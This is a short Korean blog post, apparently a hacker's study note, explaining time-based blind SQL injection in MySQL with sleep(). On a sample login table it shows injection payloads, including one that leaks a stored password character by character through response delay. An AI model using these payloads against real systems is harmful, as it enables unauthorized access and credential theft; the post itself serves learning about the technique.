Blind SQL injection technique
2017. 2. 16. 21:19
Blind SQL Injection Technique
- H3X0R, s1ipper 소속 웹해커 윤석찬(ch4n3) -
오늘도 SQLi 공부하다가 신기한 거를 발견했다. 바로 Sleep() 함수를 이용하는 것이다.
사실은 time based sqli 이겠지만 blind sql injection인 것 같아서 이렇게 올린다.
sleep()함수의 인자로는 숫자가 오고 그 숫자(초) 만큼 프리징한다.
그래서 sleep()함수로 여러가지 time based sql injection을 수행할 수 있는데
mysql> select * from login;
+-------+----------+------+
| id | pw | no |
+-------+----------+------+
| admin | P@s$w0Rd | 1 |
+-------+----------+------+
1 row in set (0.00 sec)
이런 테이블이 하나있다고 치자, 여기서
mysql> select * from login where id='' or sleep(1);
Empty set (1.01 sec)
이런 쿼리가 있을 때는 sleep(1)로 1초만큼 쉬게 된다.
mysql> select * from login where id='' or sleep(ord(mid(pw,1,1)));
이런 쿼리가 수행될 수 있다. 이로써, Time based SQL Injection이 시작되는 것이다. 하지만,,,, 지연시간이 완전 느리다.
오늘도 색다른 SQL injection 쿼리를 발견해서 기분이 좋다.
'Hacking > Web.' 카테고리의 다른 글
sql injection tech (0) | 2017.02.22 |
---|---|
Blind SQL Injection Technique (0) | 2017.02.16 |
XSS?? (0) | 2017.02.16 |
error based sql injection (0) | 2017.02.12 |
error based sql injection (0) | 2017.02.08 |